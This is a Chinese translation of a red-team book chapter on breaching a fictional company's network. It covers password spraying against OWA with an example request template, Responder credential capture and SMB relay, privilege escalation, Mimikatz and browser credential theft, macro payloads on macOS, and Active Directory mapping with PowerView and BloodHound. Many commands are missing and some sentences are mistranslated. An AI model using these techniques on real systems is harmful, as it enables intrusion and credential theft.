第4章 带球——突破网络

0400

在评估开始的第二天,您使用Nmap工具扫描整个网络,不走运地启动了漏洞扫描程序,但是没有在任何网站应用程序中发现突破口。有点沮丧,您退后一步,查看所有的探测结果。您知道,一旦可以进入网络,就可以使用大量的技巧获取更多的凭证,在设备之间迁移,利用活动目录存在的漏洞,找到我们都渴望的网络空间“战利品”。当然,您知道这不是一件容易的事。您需要绕过大量的障碍,防止错误信息的误导,以及进行大量的尝试。

在本书第2版的第3章中重点介绍了如何利用漏洞扫描程序的结果,并通过这些漏洞进行突破。这些漏洞包括Metasploit、打印机漏洞、“心脏滴血”、Shellshock、SQL注入和其他类型的常见漏洞。最近,出现了许多威力强大的代码执行漏洞,如永恒之蓝(MS017-10)漏洞、多个Jenkins漏洞、Apache Struts 2漏洞和CMS应用程序漏洞等。由于本书是黑客秘笈的红队版本,因此我们不会过度关注如何使用这些工具或如何利用特定漏洞。相反,我们将专注于如何利用目标网络环境和实际业务开展攻击。

在本章中,您将专注于红队策略,利用企业基础架构漏洞,获取凭证了解内部网络情况以及在主机和网络之间进行迁移。我们将在运行单个漏洞扫描程序的情况下完成任务。

作为红队,找到目标突破口可能很复杂,而且需要大量资源。在本书前两版中,我们复制了被攻击者的身份鉴权页面,购买了相似的域名,搭建了钓鱼网站,生成定制的恶意软件等。

有时,我告诉红队……一定要把事情简单化。很多时候我们提出了疯狂复杂的计划,但是最终发挥作用的是最简单的计划。

常用的一种基本技术是密码暴力破解。但是,作为红队,我们必须了解如何巧妙地做到这一点。随着公司的发展,公司引入了更多的技术和工具。对于攻击者来说,这无疑提供了施展能力的舞台。当公司开始连接互联网时,我们开始了解身份验证技术,应用于电子邮件(ieOffice 365或OWA)、通信(Lync、XMPP、WebEx)工具、协作工具(JIRA、Slack、Hipchat、Huddle),以及其他外部服务(Jenkins、CMS站点、支持站点)。这些是我们想要攻击的目标。

我们尝试攻击这些服务器/服务的原因是,我们正在寻找根据被攻击者的轻量目录访问协议(LDAP)/活动目录(AD)基础架构进行身份验证的应用程序。这可以通过某些活动目录集合、单点登录过程或直接管理活动目录。我们需要找到一些常用的凭证,从而可以开展下一步攻击。从侦察阶段开始,发现并识别了大量电子邮件和用户名账户,我们可以通过所谓的密码喷射实施攻击。我们将针对所有不同的应用程序,尝试猜测基本密码,正如我们在现实世界的高级持续威胁(APT)攻击事件中看到的那样。

我们为什么要对不同的外部服务进行身份鉴权?

目前有许多工具可以用于暴力破解,但是这里我们只重点介绍其中的几个。第一个是Spray工具,来自Spiderlabs实验室。虽然Spray使用时有点复杂,但是我非常喜欢这个工具提供的密码“喷射”功能。例如,该工具支持SMB、OWA和Lync(Microsoft Chat)协议。

要使用密码喷射功能,需指定以下内容。

正如您将在下面的示例中看到的那样,我们运行Spray工具,攻击cyberspacekittens公司的虚假OWA邮件服务器(实际上根本存在),当它尝试用户名peter和密码Spring2018时,身份认证通过了(您可以通过数据长度判断是否成功),如图4.1所示。

0401

这是一个使用Curl工具快速脚本实现的OWA系统暴力破解
图4.1

我经常遇到的一个问题是尝试使用哪些密码,因为在锁定账户之前,您只能进行有限次数的密码尝试。这个问题没有明确的答案,尝试的内容严重依赖于攻击目标。我们曾经成功尝试非常简单的密码,如“Password123”,但很少有用户使用这样简单的密码。通常我们尝试的凭证密码如下。

使用这些密码,我们可以慢慢地全天候进行扫描尝试,以免触发任何账户锁定。请记住,只需要一个密码就可以进入目标系统!

Spray 工具配置非常简单,并且通过设置可以应用在其他应用程序。您需要做的是捕获密码尝试的POST请求(您可以在Burp Suite中捕获请求),复制所有请求数据,并将其保存到文件中。对于任何需要暴力破解的字段,您需要提供字符串“sprayuser”和“spraypassword”。

举个例子,在我们的环境中,post-request.txt文件将如下所示。

POST/owa/auth.owa HTTP/1.1
Host: mail.cyberspacekittens.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
https://mail.cyberspacekittens.com/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2fmail.cyberspacekittens.com%2fowa%2f
Cookie: ClientId=VCSJKT0FKWJDYJZIXQ; PrivateComputer=true; PBack=0
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencodeddestination=https%3A%2F%2Fcyberspacekittens. com%2Fowa%2F&flags=4
&forcedownlevel=0&username= sprayuser@cyberspacekittens.com&pass
word= spraypassword&passwordText=&isUtf8=1

如前所述,spray.sh的另一个优点是它支持SMB和Lync协议。另一个可以利用Spraying结果的工具叫作Ruler。Ruler是Sensepost编写的工具,允许您通过MAPI/HTTP或RPC/HTTP与Exchange服务器进行交互。虽然这里主要讨论使用Ruler进行暴力破解/信息搜集,但是这个工具还支持一些持久性攻击功能,我们将进行简要说明。

我们可以利用的第一个功能类似于Spray工具,暴力破解用户名和密码。Ruler将接收用户名和密码列表,并尝试查找凭证,如图4.2所示。它将自动尝试获取Exchange配置以及凭证。下面运行Ruler。

0402

图4.2

找到单个密码后,我们就可以使用Ruler工具,转储O365全局地址列表(GAL)中的所有用户,从而查找更多的电子邮件地址及其所属的电子邮件组,如图4.3所示。

0403

图4.3

使用这些电子邮件地址,我们能够通过暴力破解工具,尝试登录所有账户,并找到更多凭证,这是密码的循环使用。但是,Ruler工具的主要功能是,一旦您拥有凭证,就可以利用Office/Outlook中的“功能”,在被攻击者的电子邮件账户上创建规则和表单。如果您决定不使用Outlook表单,或者功能已被禁用,那么我们可以随时重新使用电子邮件的攻击方式。这种方式让人感觉有点猥琐,因为您必须以其中一个用户身份登录并阅读所有电子邮件。通过阅读电子邮件,知道了一些好笑的事情之后,我们希望找到和用户彼此信任的人(但不是好朋友)的交流邮件。由于他们已经建立了良好的信任,因此我们希望利用这层关系并向他们发送恶意软件。通常,我们会修改其中一个邮件中的附件(如Office文件/可执行文件),然后重新发送给对方,但附件内容中包括我们定制的恶意软件。使用来自内部地址的可信连接和电子邮件将扩大攻击范围和成功率。

本书反复提及的一点是,整个活动旨在测试蓝队的检测工具/流程。我们开展某项行动,了解蓝队是否能够发出警报或者取证并检测出发生的攻击事件。对于这部分行动,我喜欢验证目标公司是否能够发现有人正在获取用户的电子邮件。因此,我们所做的是使用Python脚本转储所有受感染的电子邮件。在许多情况下,这可能是千兆字节的数据!

一个很好的练习是针对不同的身份验证类型服务、测试所有密码。尝试并构建一个密码喷射工具,用于对XMPP服务、常见第三方SaaS工具和其他常见协议进行身份验证测试。更好的方法是搭建多个虚拟主机,这些虚拟主机都由一个主服务器控制。

作为红队,我们希望尽可能“安静”地访问网络。我们想基于这种“安静”的特性,查找和获取有关网络、用户、服务和其他各种信息。通常,在红队行动中,我们不希望在环境中运行任何漏洞扫描工具,甚至有时不想运行Nmap工具对内部网络进行扫描,这是因为许多公司的安全防护设备能够检测这些类型的扫描,并且很容易发现漏洞扫描程序的扫描动作。

在本节中,您将重点关注访问Cyber Space Kittens网络,而不要引发任何检测。我们假设您已经以某种方式进入网络,并开始寻找您的第一组凭证或在用户的计算机上拥有一个Shell。

这部分是完全可选的,但是,由于微软公司版权许可问题,本书中没有任何预先安装的虚拟机实验环境,因此现在由您来建立一个“实验室”!

真正了解攻击环境的唯一方法是自己重新构建环境。这使您可以更清楚地了解攻击的目标,攻击成功或者失败的原因,以及一些工具或流程的局限性。那么您需要搭建什么样的实验环境?根据客户的环境,您可能需要Windows和Linux(甚至可能是Mac)。如果您要攻击企业网络,则可能需要构建完整的活动目录(AD)网络。在下面的实验中,我们将讨论如何为本书中的所有示例构建一个实验环境。

您在家创建的一个理想的Windows测试实验室,可能如下所示。

配置和创建域控制器如下所示。

(1)微软公司发布的有关构建2016服务器的指南。

(2)安装和配置活动目录(AD)后,使用以下命令创建用户和组:dsac.exe。

设置客户端计算机(Windows 7/Windows 10)并加入域。

设置GPO。

将操作系统的所有用户设置为自动登录(这只会使测试工作变得更加轻松)。在每次机器启动或重新启动时,用户都会自动登录,我们可以轻松地测试攻击效果,实现从内存中提取凭证。

就像之前的行动,我们使用Responder工具(可在GitHub网站搜索)监听网络和欺骗响应数据,从而获取网络上的凭证。回顾本书第2版的内容,当网络上的系统查找DNS主机名失败时,该被攻击者系统将链路本地多播名称解析(LLMNR)和Net-BIOS(NBT-NS)名称服务用于名称解析备份。当被攻击者主机无法通过DNS查询时,被攻击者开始询问网络上的主机是否可以解析该主机名。

有一个简单且通用的例子:假设您的主机有一个固定加载驱动\cyberspacekittenssecretdrive\ secrets。有一天,IT部门从网络中删除了该共享驱动器,它已不再存在。由于主机仍然加载驱动器到服务器,因此系统将不断询问网络是否有主机知道驱动器的IP地址。现在,这个文件共享可能很难找到,由于网络中存在先前连接的系统的可能性很高,因此这个问题仍然会发生。我们已经从安装的驱动器、具有硬编码服务器的应用程序中看到这个问题,而且很多时候仅仅是配置错误。

我们可以使用类似Responder的工具来利用那些寻找主机名的系统,并使用恶意服务器对其进行响应。更棒的是,Responder 工具可以更进一步,充当 Web 代理自动发现(WPAD)协议服务器,通过攻击者服务器代理所有的数据,但这是另外一种攻击方式。

现在,因为处于Windows企业环境中,所以可以假设Responder工具正在活动目录中运行。因此,如果响应来自受害主机的DNS查询,就可以让其连接到我们的SMB共享。由于它们连接到驱动器\cyberspacekittenssecretdrive,因此我们将强制被攻击者使用NTLMv2凭证(或缓存凭证)进行身份验证,如图4.4所示。捕获的这些凭证不是直接的NTLM散列值,而是NTLM质询/响应散列值(NTLMv2-SSP)。NTLMv2-SSP散列值暴力破解的速度,比普通的NTLM散列值慢得多,但这不是大问题,因为我们可以使用大型破解设备实现破解(参见第8章)。

0404

图4.4

我们可以输入NTLMv2散列,将其传递给hashcat工具,破解密码。在hashcat工具中,我们需要为NetNTLMv2指定散列格式“-m”。

现在,假设我们真的不想破解散列,或者我们不介意弹出对话框(提醒用户此处可疑)。我们可以不使用NetNTLMv2鉴权方式,强制使用基本的鉴权方式,参数是F(ForceWpadAuth)和b(基本身份验证)。

从图4.5可以看出,系统将提示用户输入用户名和密码,大多数人都会不自觉地输入。一旦用户提交了凭证,我们就能以明文形式捕获凭证,如图4.6所示。

0405

图4.5

0406

图4.6

Responder工具和破解NTLMv2-SSP散列的问题在于破解这些散列值所需的时间可能很长。更糟糕的是,在这个环境中,管理员的密码长度超过20个字符。那么,在这个场景中,我们能做些什么呢?

如果目标没有强制执行SMB签名(可以使用快速Nmap脚本扫描找到它),那么我们可以使用一个小技巧,重放捕获的SMB请求。

Laurent Gaffie在Responder中加入了一个工具来处理身份鉴权的重放攻击。在Per Laurent的网站上,Responder的工具文件夹中包含MultiRelay工具,它是一个强大的渗透测试程序,使您能够对选定的目标执行NTLMv1和NTLMv2中继攻击。目前,MultiRelay支持将HTTP、WebDav、代理和SMB身份验证协议中继到SMB服务器。该工具可以定制接收多个用户中继,仅针对域管理员、本地管理员或特权账户。

从更高的层面来说,MultiRelay将根据我们的设置,转发身份鉴权请求到被攻击者主机,而不是强制被攻击者向我们的SMB共享发送身份鉴权请求。当然,该中继用户需要访问另一台机器;如果成功,我们不需要处理任何密码或暴力破解。首先,需要配置Responder和MultiRelay工具。

一旦中继到被攻击者主机的目标实现,如图4.7所示,就需要考虑在被攻击者主机上执行的内容。默认情况下,MultiRelay可以生成基本Shell,但我们也可以自动执行Meterpreter PowerShell静荷、Empire PowerShell静荷、dnscat2 PowerShell静荷、PowerShell下载脚本和执行C2代理、Mimikatz,或者只运行calc.exe工具。

0407

图4.7

一旦突破了Windows系统,我们就可以使用PowerShell工具对被攻击者开展Responder攻击。早期的Responder的两个功能可以通过以下两个工具实现。

为了使事情变得更加简单,所有这些工具都已经集成到Empire中。

一旦进入网络,我们就可以使用Responder工具获取凭证或Shell,但有时也会出现这种情况——目标启用SMB签名并且破解NTLMv2 SSP不可行。此时,我们可退后一步,从基本的攻击方式开始。在无法主动扫描网络的情况下,我们需要获得一个用户列表(可能是密码喷射甚至社会工程)。

一种选择是开始针对域控制器枚举用户。从历史上看(早在2003年),我们可以尝试执行RID循环以获取所有用户账户的列表。虽然这种方法已经不可用,但还有其他选项可用于暴力破解账户。另一种选择是利用Kerberos,如图4.8所示。

0408

图4.8

我们需要提供一个测试的用户名列表,但是由于只是查询域控制器并且不对其进行身份鉴权,因此这个操作通常不会被发现。现在,我们可以使用这些用户账户并再次进行密码喷射攻击!

如果还没有突破的系统,但我们确实通过Responder、配置错误的网络应用程序、暴力破解或打印机获得了凭证,那么可以尝试扫描网络,查看账户可以登录的位置。使用像CrackMapExec(CME)等工具进行简单的扫描,可以帮助找到内部网络初始突破点。

从已经取得的效果看,我们使用CME扫描网络,识别/验证网络上的SMB资源,在多个主机上远程执行命令,甚至通过Mimikatz提取明文凭证。Empire和CME提供新的功能,我们可以利用Empire的REST功能。在下面的场景中,我们将使用其REST API启动Empire,在CME中配置密码,将CME连接到Empire,使用掌握的单个凭证扫描网络,最后,如果通过身份鉴权,则自动推送Empire静荷到远程被攻击者的系统,如图4.9所示。如果您有帮助账户或特权账户,那么准备加载Empire shells吧!

0409

图4.9

通过社会工程、潜伏设备、Responder工具、攻击打印机或其他攻击方式,您获得了主机的访问权限,您接下来要做什么?这是一个难题。

在过去,通常是了解所处的位置以及周围的网络。我们最初可能会运行类似于“netstat -ano”的命令来查找被攻击者服务器的IP地址范围、域和用户。我们还可以执行“ps”或“sc queryex type = service state = all | find”_NAME“”之类的命令列出所有正在运行的服务,并查找杀毒软件或其他主机保护。以下是最初可能运行的一些命令。

其实绝大部分人并没有时间记住所有这些命令,幸运的是我们有RTFM一书(很棒的资源),leostat创建了一个快速的Python脚本,包含大量这样的命令,可以在一个名为rtfm.py的工具中轻松搜索。

现在,RTFM 包含的命令非常丰富,并且这些命令都很实用。这对于任何行动来说是非常好的资源。

这些都是我们为了获取信息而一直在做的事情,但是如果我们能从环境中获得更多信息呢?使用PowerShell,我们可以获得所需的网络/环境信息。由于PowerShell可以在任何命令和控制工具中轻松执行,因此您可以使用Empire、Metasploit或Cobalt Strike来做这些实验。在以下示例中,我们将使用Empire,但您也可以尝试使用其他工具。

0410

图4.10

从常规用户升级到特权账户有很多不同的方法。

下面介绍一下不带引号的服务路径漏洞。

查找不安全的服务注册表权限。

检查AlwaysInstallElevated注册表项是否启用。

请注意,我们并不需要手动执行这些操作,Windows中的Metasploit和PowerShell工具模块已经实现该功能。在下面的示例中,我们将介绍PowerUp PowerShell脚本。在这种情况下,脚本随着Empire一起运行,并将检查所有常见的错误配置区域,找到允许常规用户获取本地管理或系统账户的漏洞。在图4.11所示的示例中,我们在被攻击者系统中运行脚本,并发现本地系统存在未加引号的服务路径漏洞。现在,我们可能无法重新启动该服务,但我们应该能够利用此漏洞并等待重新启动。

立刻显示的内容。

ServiceName                 : WavesSysSvc
Path                         : C:\Program
Files\Waves\MaxxAudio\WavesSysSvc64.exe 
ModifiableFile              : C:\Program
Files\Waves\MaxxAudio\WavesSysSvc64.exe
ModifiableFilePermissions    : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileIdentityReference : Everyone
StartName                      : LocalSystem

对于WavesSysSyc服务,似乎每个用户都具有写权限,这意味着可以用恶意二进制文件替换WaveSysSvc64.exe文件。

0411

图4.11

一旦服务重新启动,Meterpreter Shell将具有系统权限!使用PowerUp,您会发现许多容易受到权限提升影响的服务。

对于未修补的Windows系统,确实存在权限提升漏洞,但是如何快速识别Windows系统上安装的补丁?我们可以在被攻击者系统上,使用默认命令来查看安装了哪些服务包。利用Windows内置命令“systeminfo”,可以获取Windows主机所有修补程序历史记录。根据命令输出,将这些历史记录推送到Kali系统中,运行Windows Exploit Suggester来查找针对这些漏洞的漏洞利用程序,如图4.12所示。

0412

图4.12

返回Windows 10被攻击者系统。

这个工具已经一段时间没有主动更新了,但您可以轻松找到权限提升漏洞。

如果在一个已打好补丁的Windows环境中,我们会关注第三方软件中的权限提升漏洞或操作系统的任何0-day/新漏洞。例如,我们一直在挖掘Windows中的权限提升漏洞,漏洞在本书写作之时未打补丁。在这种情况下,通常可能存在一些基本的漏洞演示代码,但是我们需要测试,验证并多次完成攻击。我们定期检测公共权限提升漏洞的一些区域。

通常,这只是时间问题。例如,从发现漏洞到打上补丁,您只有有限的时间和机会可以突破系统。

测试和尝试不同权限提升漏洞的较好的实验环境是Metasploitable3,由Rapid7提供。这个存在漏洞的框架会自动构建一个Windows虚拟机,包含了所有常见漏洞和一些不常见的漏洞。它需要进行一些设置,但是虚拟机配置完成后,它就是一个很棒的测试实验环境。

下面介绍一个示例,帮助您快速入门。

Mimikatz 工具已经存在了一段时间,在获取明文密码方面改变了游戏规则。在Windows 10之前,在主机上以管理员身份运行Mimikatz工具,攻击者可以从LSASS(本地安全子系统)中提取明文密码。这种方法非常有效,直到Windows 10出现,即使本地管理员也无法读取明文密码。现在,我看到一些有趣的用法,单点登录(SSO)或一些特殊的软件将密码放在LSASS中,Mimikatz 可以读取密码,但我们现在不考虑这种情况。在本章中,我们将讨论当Mimikatz工具不起作用时该怎么做(如在Windows 10操作系统中)。

假设您已经突破了Windows 10工作站,并将权限提升为本地管理员。在默认情况下,您可以启动Mimikatz,输入下面的查询命令,查看密码字段,发现为null,如图4.13所示。

0413

图4.13

那么,您可以做什么?比较简单的选择是设置注册表项,将密码放到LSASS中。在HKLM中,有一个UseLogonCredential项,如果设置为0,则会将凭证存储在内存中。

这样设置的问题是我们需要用户重新登录系统。这可能导致屏幕超时、重新启动或注销,然后您才可以再次捕获明文凭证。比较简单的方法是锁定工作站(这样它们就不会丢失任何工作……)。触发锁定屏幕操作如下。

一旦导致锁定屏幕,并且用户重新登录,我们就可以重新运行Mimikatz获取明文密码,如图4.14所示。

0414

图4.14

如果我们无法获得本地管理账户怎么办?有什么其他方法获取用户的凭证?回想之前的方法,常见的测试攻击需要查看胖客户端的用户空间内存,查看能否发现明文形式的凭证。现在一切都是基于浏览器的,我们可以在浏览器中做同样的事情吗?

安全研究人员putterpanda提供了一个很不错的原型验证风格工具来实现这个功能,该工具称为Mimikittenz。Mimikittenz工具的功能是利用Windows函数ReadProcessMemory()从各种目标进程(如浏览器)中提取纯文本密码。

Mimikittenz为Gmail、Office 365、Outlook Web、Jira、GitHub、Bugzilla、Zendesk、Cpanel、Dropbox、Microsoft OneDrive、AWS Web Services、Slack、Twitter和Facebook提供了大量内存搜索查询的方法。您也可以在Mimikittenz中轻松地设计出自己的搜索方法。

Mimikittenz 的最大优点是它不需要本地管理员访问权限,因为它访问的是所有用户空间内存。一旦突破了主机,我们就可以将Mimikittenz导入内存,然后运行Invoke- mimikittenz脚本。

如图4.15所示,用户使用Firefox浏览器登录到GitHub,我们可以从浏览器的内存中提取用户名和密码。现在,我希望每个进行模拟攻击的读者都可以将此工具提升到新的水平,并为不同的应用程序创建更多的搜索查询方法。

0415

图4.15

Windows凭证存储中心是Windows的默认功能,它为系统、网站和服务器保存用户名、密码和证书。当您使用Microsoft IE/Edge对网站进行身份验证时,通常会弹出一个提示“是否要保存密码?”的窗口。凭证存储中心是存储密码的地方。在证书管理器中,有两种类型的凭证:网站和Windows。您记得什么用户有权访问这些数据吗?不是系统用户,而是登录的用户可以获取此信息,如图4.16所示。这对我们来说很有利,就像任何网络钓鱼或代码执行攻击一样,我们通常具有被攻击者的权限。我们甚至不需要成为本地管理员就可以提取这些数据。

0418

图4.16

如何提取这些信息?我们可以导入两个不同的PowerShell脚本来搜集这些数据,如图4.17所示。

正如您从转储数据中看到的那样,我们同时提取了Facebook凭证以及内存中存储的任何通用凭证。请记住,对于网站凭证,Get-WebCredentials仅从Internet Explorer/Edge获取密码。如果我们需要从Chrome中获取凭证,那么可以使用Empire静荷powershell/collection/ ChromeDump。为了让ChromeDump脚本工作,您首先需要终止Chrome进程,然后运行ChromeDump。最后,我喜欢提取所有浏览器历史记录和Cookie。我们不仅可以了解它们的内部服务器,而且,如果会话仍然存在,那么我们可以使用Cookie并在不知道密码的情况下进行身份鉴权!

0419

图4.17

如图4.18所示,使用PowerShell脚本,我们可以提取所有浏览器Cookie,并在我们的浏览器中使用这些Cookie,所有这些都不需要提升权限。

0416

图4.18

接下来,我们甚至可以开始在被攻击者系统上安装的所有第三方软件中查找服务器和凭证。SessionGopher工具可以从WinSCP、PuTTY、SuperPuTTY、FileZilla和Microsoft远程桌面获取主机名和保存的密码。这个工具的另外一个功能是能够从网络上的其他系统远程获取本地凭证。启动SessionGopher的简单方法是导入PowerShell脚本并使用以下命令执行。

我们从主机系统获取凭证的这些方法,无须权限提升、绕过UAC或运行键盘记录器。由于处在用户环境中,因此我们可以访问主机的许多资源,从而帮助我们继续渗透。

本书中的大多数横向移动都集中在Windows,这是因为几乎所有大中型单位都使用活动目录管理系统和主机。我们可能会越来越多地遇到Mac主机,因此在本书内容中也包括Mac主机。一旦进入Mac主机环境,许多攻击就与Windows的情况类似了(举个例子,扫描默认口令、Jenkin/应用程序攻击、嗅探网络以及通过SSH或VNC横向移动)。

在Empire中,有一些macOS的静荷也是我比较喜欢的工具。Empire可以生成多个静荷,诱骗被攻击者执行我们的代理。这些静荷包括ducky脚本、应用程序、Office宏、Safari启动器和pkgs等。例如,我们可以在PowerShell Empire中创建一个Office宏,类似于在Windows中所做的,如图4.19所示。

(1)启动Empire。

(2)首先,确保像我们在本书开头介绍的那样设置您的Empire监听器。

(3)接下来,构建一个macOS宏静荷。

(4)设置OutFile,写入您的本地文件系统。

(5)生成静荷。

0417

图4.19

如果查看生成的Office宏,那么您将看到它采用Base64代码,由Python执行。对我们来说,幸运的是,Python是macOS上的默认应用程序,当执行Office宏时,我们应该获得代理回连。

在macOS中创建恶意的Excel文件,我们打开新的Excel工作表,转到工具,查看宏,在此工作簿中创建宏,当Microsoft Visual Basic打开时,删除所有当前代码并将其替换为所有新的宏代码。最后,将其另存为xlsm文件,如图4.20所示。

0420

图4.20

现在,将恶意文件发送给被攻击者,并查看Empire代理回连到系统。在被攻击者方面,当他们打开Excel文件时,显示的内容如图4.21所示。

0421

图4.21

您要确保提供一个合理的理由,让被攻击者单击启用宏。

一旦代理回连到您的Empire服务器,侦查阶段的操作就非常相似了。我们需要执行以下操作。

同样,在下面的示例中,我们将使用PowerShell Empire。但是,您也可以使用Metasploit、Cobalt Strike或类似的工具进行同样的攻击。只要您能够将PowerShell脚本导入内存并避开主机系统的安全防护机制,使用什么工具并不重要。

既然您已经突破了被攻击者的主机,从他们的工作站获取了所有秘密,掌握了被攻击者浏览的一些网站,并执行了一些netstat风格的侦查……下一步要做什么呢?

红队真正关心的是在服务器、工作站、用户、服务以及活动目录中是否可以搜索可靠的信息。在很多情况下,由于存在报警/捕获的风险,因此我们无法运行任何漏洞扫描工具(甚至Nmap扫描工具)。那么,如何利用网络和服务的“功能”,找到我们需要的所有信息呢?

服务主体名称(SPN)是Windows中的一项功能,允许客户端唯一标识服务实例。Kerberos身份鉴权使用SPN功能,将服务实例与服务登录账户相关联。举个例子,一个SPN对应一个服务账户,此服务账户运行MS SQL服务器、HTTP服务器和打印服务器等的SPN。对于攻击者,查询SPN是枚举阶段的重要部分,这是因为任何域用户账户都能够查询活动目录,获取关联的所有服务账户/服务器。我们可以识别所有数据库和网站服务器,甚至一台主机都不需要扫描!

作为攻击者,我们可以利用这些“功能”查询活动目录。在任何加入域的计算机上,攻击者都可以运行setspn.exe文件来查询活动目录。此文件是默认的Windows二进制文件,存在于所有Windows系统中。

我们可以从Setspn查询中获得什么类型的信息?如图4.22所示,运行setspn命令,我们看到有关域控制器上运行服务的信息和工作站的信息,我们还找到了一台名为CSK-GITHUB的服务器。在这个例子中,我们可以看到在该服务器上运行了HTTP服务。即使是在不同的端口上,如果仍然是HTTP,那么该信息也将被列出。

Setspn不仅会提供有关服务用户和活动目录中所有主机名的有用信息,还会告诉我们系统中运行的服务甚至端口号。如果可以直接从活动目录中获取服务甚至端口的大部分信息,那么我们为什么要扫描网络?Jenkins、Tomcat和ColdFusion,什么是您可能立即攻击的目标?

0422

图4.22

我多次获得一个域账户和密码,却被管理员告知这只是一个没有其他权限的域账户。我们可以在打印机、共享信息工作站、带有服务密码的平面文件文本、配置文件、iPad、Web应用程序页面源中包含密码的地方,找到这种类型的域账户。对于不是其他组成员的基本域账户,您可以做些什么?

获取有关活动目录用户的详细信息

我们可以使用@ harmj0y创建的、名为PowerView的工具,帮助我们完成所有琐碎的工作。PowerView使用PowerShell脚本,可在Windows域上获得网络态势感知信息。它包含一组纯PowerShell脚本,可以替换各种Windows“net *”命令,它使用PowerShell AD挂钩和底层Win32 API函数,实现各种有用的Windows域功能。作为攻击者,我们可以利用PowerView和PowerShell查询活动目录,活动目录中最低权限的用户——“域用户”即可完成任务,根本不需要本地管理员权限。

让我们来看看这个低级别用户可以获得什么样的数据。首先,运行Empire(您可以使用Metasploit、Cobalt Strike或类似的工具完成相同的任务)并在被攻击者系统上执行静荷。如果您之前从未设置过Empire,那么可查看有关Empire和Empire静荷设置的章节。一旦代理与命令和控制服务器通信,我们就可以输入“info”来查找有关被攻击者主机的信息。目前,我们在cyberspacekitten域中突破了Windows 10系统主机,主机已经打上了完整的Windows补丁,用户名为neil.pawstrong,如图4.23所示。

0423

图4.23

接下来,我们想要在域中查询信息,并且要避免引起太多怀疑。我们可以使用Empire中的PowerView工具获取信息。PowerView查询域控制器(DC)以获取有关用户、组、计算机等各种信息。我们使用PowerView功能查询域控制器,并且应该看起来像普通流量一样。

Empire中有一些模块可用于态势感知,如图4.24所示。

0424

图4.24

我们开始使用PowerView中的get_user脚本。Get_user查询指定域中特定用户或所有用户的信息,如图4.25所示。使用默认设置,我们可以转储有关域控制器中用户以及相关的所有信息。

模块:situational_awareness/network/powerview/get_user。

0425

图4.25

在上面的转储中,可以看到其中一个用户Purri Gagarin的信息。我们得到了什么类型的信息?我们可以看到samaccountname用户名、密码更改的时间、对象类别是什么,以及他们是哪些组的成员和最后登录的时间等。通过这些基本用户信息转储,可以从目录服务中获取大量信息。我们还可以获得哪些其他类型的信息?

模块:situational_awareness/network/powerview/get_group_member。

Get_group_member返回特定组的成员,设置“Recurse”参数能够找到所有有效的组成员。我们可以使用活动目录查找某些组的特定用户。例如,通过以下Empire设置,我们可以搜索所有域管理员和属于域管理员组的分组,如图4.26所示。

0426

图4.26

现在,我们获得一个用户、组、服务器和服务列表,这将帮助我们了解哪些用户具有哪些权限。但是,我们仍然需要有关工作站和系统的详细信息。信息中可能包括版本、创建日期、使用情况和主机名等。我们可以在使用get_computer命令时获取这些信息。

模块:situational_awareness/network/powerview/get_computer。

说明:get_computer模块查询域中计算机对象。

get_computer查询域控制器可以获得哪些信息?我们获取了机器、创建时间、DNS主机名和专有名称等信息。作为攻击者,一个有用的侦察信息是操作系统类型和操作系统版本。在这个例子中(见图4.27),我们可以看到操作系统是Windows 10,版本是Build 16299。我们获取了操作系统的相关信息,了解这个操作系统的最新状态,以及这个操作系统是否在微软公司的发布信息页面上发布了补丁信息。

0427

图4.27

我们如何利用从侦察阶段搜集到的所有信息,实现后续的渗透?我们如何快速地关联谁有权访问什么?回到之前,我们过去只是试图突破一切,以达到我们的目的,但这总是增加了被发现的可能性。

Andrew Robbins、Rohan Vazarkar和Will Schroeder开发了一种不错的关联工具,称为Bloodhound/Sharphound。在他们的GitHub页面中有下列介绍内容:“BloodHound使用图论来揭示活动目录环境中隐藏且经常无意识的关联。攻击者可以使用BloodHound轻松识别高度复杂的攻击路径,否则这样的路径很难发现。防御者可以使用BloodHound识别和找到这些攻击路径。蓝色团队和红色团队都可以使用BloodHound轻松且深入地了解活动目录环境中的权限关系。”

Bloodhound的工作原理是在被攻击者系统上运行Ingestor,然后查询活动目录(类似于我们之前手动执行的操作)中的用户、组和主机信息。然后,Ingestor将尝试连接到每个系统以枚举登录的用户、会话和权限。当然,在网络上这动作有点大。对于默认设置(可以修改)的中型、大型组织,使用Sharphound连接到每个主机系统和查询信息可能不到 10min。请注意,由于这涉及网络上每个加入域的系统,因此可能会被捕获。Bloodhound中有一个Stealth选项,它只查询活动目录并不连接到每个主机系统,但输出信息非常有限。

目前有两个不同的版本(其中我确定旧的版本很快就会删除)。

运行Bloodhound/Sharphound Ingestor,您可能需要指定多个信息搜集方式。

在主机系统上运行Blood/Sharphound。

Bloundhound/Sharphound操作完成后,被攻击者系统上将生成4个文件。访问这些文件并复制到您的Kali设备。接下来,我们需要启动Neo4j服务器,导入这些数据,构建关联图。

启动Bloodhound过程如下。

(1)apt-get install bloodhound。

(2)neo4j console。

(3)打开浏览器,访问http://localhost:7474。

(4)在终端运行Bloodhound。

(5)加载数据。

如果您没有域环境进行测试,我上传了4个Bloodhound文件(见https://github.com/ cyberspacekittens/bloodhound),以便您可以重复练习。一旦进入Bloodhound并导入了所有数据,我们就可以选择查询,查看“Find Shorted Paths to Domain Admins.”。我们还可以选择特定用户,查看是否可以将路径映射到特定用户或组。在这个例子中,我们突破的第一个设备是NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL。在搜索标签中,插入用户,单击“Pathfinding”按钮,然后输入“Domain Admin”(或任何其他用户),查看这些对象之间的规划路径,如图4.28所示。

0428

图4.28

从Neil的机器上可以看出,我们可以一直迁移到CSK-Lab。进入实验设备,可以发现有一个名为Purri的用户,他是HelpDesk组的成员,如图4.29所示。

0429

图4.29

如果可以突破HelpDesk组,我们可以迁移到Chris系统,发现Elon Muskkat最近登录过。如果可以迁移到他的进程或窃取他的明文密码,我们就可以升级为Domain Admin权限!

对于大型网络,我们注意到Bloodhound查询的限制和搜索问题。使用Neo4j的好处之一是允许通过Cypher语言进行原始查询。

我们可以添加哪些类型的自定义查询?@ porterhau5在扩展Bloodhound跟踪和可视化突破方面取得了一些重大进展。

